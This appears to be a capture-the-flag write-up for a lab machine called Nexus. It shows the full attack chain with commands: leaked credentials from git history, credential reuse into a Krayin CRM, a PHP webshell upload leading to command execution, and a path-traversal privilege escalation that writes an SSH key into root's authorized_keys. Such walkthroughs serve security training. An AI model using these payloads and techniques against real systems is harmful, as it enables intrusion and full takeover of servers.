Machine Overview
| Field | Value |
|---|---|
| Name | Nexus |
| Difficulty | Easy |
| OS | Linux (Ubuntu, nginx 1.24.0) |
| IP | 10.129.146.171 |
| Vhosts | nexus.htb (main), git.nexus.htb (Gitea 1.26.0), billing.nexus.htb (Krayin CRM 2.2.0) |
| Kernel | 6.8.0-111-generic |
| Ports | 22 (SSH / OpenSSH 9.6p1), 80 (nginx) |
Attack surface summary: A fictional "Nexus Energy Authority" corporate site, plus two internal vhosts — a self-hosted Gitea instance and a Krayin CRM billing portal (Laravel 12). Foothold runs through the CRM; privilege escalation runs through a root systemd timer that syncs Gitea template repositories via an unsanitized os.path.join.
Flags
| Flag | Value |
|---|---|
User (/home/jones/user.txt) |
[REDACTED] |
Root (/root/root.txt) |
[REDACTED] |
Reconnaissance
nmap -p- --min-rate 5000 10.129.146.171
# 22/tcp open ssh
# 80/tcp open http
nmap -sCV -p 22,80 10.129.146.171
# 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
# 80/tcp open http nginx 1.24.0 (Ubuntu)
# |_http-title: Did not follow redirect to http://nexus.htb/
The main site redirects to nexus.htb. Virtual-host fuzzing (Host header against the IP) surfaced two real subdomains that differ from the default 302:
git.nexus.htb→ Gitea 1.26.0 (self-hosted Git)billing.nexus.htb→ Krayin CRM (redirects to/admin/login)
Since the Windows attack host can't edit /etc/hosts without admin, all HTTP used curl --resolve, and git used -c http.extraHeader="Host: git.nexus.htb" against the raw IP.
Attack Chain
1. Information disclosure — leaked credentials in Gitea git history
git.nexus.htb exposes a public, unauthenticated repo admin/krayin-docker-setup. Cloning it and reading the commit history reveals an .env whose database password was later redacted:
git -c http.extraHeader="Host: git.nexus.htb" clone http://10.129.146.171/admin/krayin-docker-setup.git
git log -p -- .env
DB_USERNAME=krayin
-DB_PASSWORD=N27xh!!2ucY04
+DB_PASSWORD=
The careers page on nexus.htb leaks the hiring manager's email j.matthew@nexus.htb (username format first.last@nexus.htb).
2. Krayin CRM admin login (credential reuse)
The leaked password N27xh!!2ucY04 was reused as the CRM admin's login password:
curl -c kc.txt --resolve billing.nexus.htb:80:10.129.146.171 -H "Host: billing.nexus.htb" \
http://billing.nexus.htb/admin/login # extract CSRF _token
curl -b kc.txt --resolve billing.nexus.htb:80:10.129.146.171 -H "Host: billing.nexus.htb" \
-X POST --data-urlencode "_token=$TOKEN" \
--data-urlencode "email=j.matthew@nexus.htb" \
--data-urlencode "password=N27xh!!2ucY04" \
http://billing.nexus.htb/admin/login
# 302 -> /admin/dashboard (auth OK)
Dashboard confirms Krayin CRM 2.2.0.
3. Authenticated RCE — CVE-2026-38526 (TinyMCE unrestricted upload)
Krayin 2.2.x is vulnerable to CVE-2026-38526: /admin/tinymce/upload performs no extension/type validation. Upload a PHP webshell (spoofed image/jpeg), then hit the returned URL:
printf '<?php system($_GET["cmd"]); ?>' > shell.php
curl -b kc.txt --resolve billing.nexus.htb:80:10.129.146.171 -H "Host: billing.nexus.htb" \
-H "X-XSRF-TOKEN: $XSRF" -F "file=@shell.php;type=image/jpeg;filename=shell.php" \
http://billing.nexus.htb/admin/tinymce/upload
# {"location":"http://billing.nexus.htb/storage/tinymce/[REDACTED].php"}
curl -s "http://billing.nexus.htb/storage/tinymce/[REDACTED].php?cmd=id"
# uid=33(www-data) gid=33(www-data) ...
4. .env discovery — rotated DB password
curl -s "$WS?cmd=cat%20/var/www/krayin/.env"
# DB_USERNAME=krayin
# DB_PASSWORD=y27xb3ha!!74GbR <-- rotated password, differs from git leak
5. Password reuse → user shell
The rotated DB password y27xb3ha!!74GbR is reused for the system account jones:
ssh jones@10.129.146.171 # password: y27xb3ha!!74GbR
cat /home/jones/user.txt
# [REDACTED]
6. Privilege escalation — Gitea template-sync path traversal
systemctl list-timers shows a root oneshot, gitea-template-sync.timer, firing every ~60 s, running /etc/gitea/template-sync.py as root:
# /etc/systemd/system/gitea-template-sync.service
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
template-sync.py queries Gitea for repos marked as templates, then for each blob does:
target = os.path.join(stage_path, filepath) # filepath comes raw from git ls-tree
filepath is taken directly from the git tree with no sanitization — a textbook path traversal. As jones (who can log into Gitea with the same password), create a repo, mark it a template, and push a git tree whose blob path is ../../../../../../root/.ssh/authorized_keys:
ssh-keygen -t ed25519 -f nexus_root_key -N ""
BLOB=$(git hash-object -w nexus_root_key.pub)
T_SSH=$(printf '100644 blob %s\tauthorized_keys\n' "$BLOB" | git mktree)
T_DOTSSH=$(printf '040000 tree %s\t.ssh\n' "$T_SSH" | git mktree)
T_ROOT=$(printf '040000 tree %s\troot\n' "$T_DOTSSH" | git mktree)
T_UP1=$(printf '040000 tree %s\t..\n' "$T_ROOT" | git mktree)
T_UP2=$(printf '040000 tree %s\t..\n' "$T_UP1" | git mktree)
T_UP3=$(printf '040000 tree %s\t..\n' "$T_UP2" | git mktree)
T_UP4=$(printf '040000 tree %s\t..\n' "$T_UP3" | git mktree)
T_UP5=$(printf '040000 tree %s\t..\n' "$T_UP4" | git mktree)
T_TREE=$(printf '040000 tree %s\t..\n' "$T_UP5" | git mktree)
COMMIT=$(git commit-tree "$T_TREE" -m init)
git update-ref refs/heads/main "$COMMIT"
git -c http.extraHeader="Host: git.nexus.htb" push -f origin main
The next timer tick logs synced: ../../../../../../root/.ssh/authorized_keys, and the public key lands in /root/.ssh/authorized_keys. SSH in as root:
ssh -i nexus_root_key root@10.129.146.171
cat /root/root.txt
# [REDACTED]
Techniques Demonstrated
- Virtual-host fuzzing — Host-header enumeration to discover internal
git/billingapps. - Secrets in git history — a "redacted"
.envstill leaks the old DB password viagit log -p. - Credential reuse — leaked DB password = CRM admin login; rotated DB password =
jonesSSH. - Unrestricted file upload (CVE-2026-38526) — TinyMCE endpoint accepts a
.phpwebshell →www-dataRCE. - Path traversal in a root service — unsanitized
os.path.joinon git tree filenames writes an SSH key to/root/.ssh/authorized_keys.
Tools Used
nmap, curl (--resolve + cookie jar), git (with http.extraHeader Host routing), Python requests/paramiko (SSH key auth), ssh-keygen, git mktree/hash-object plumbing.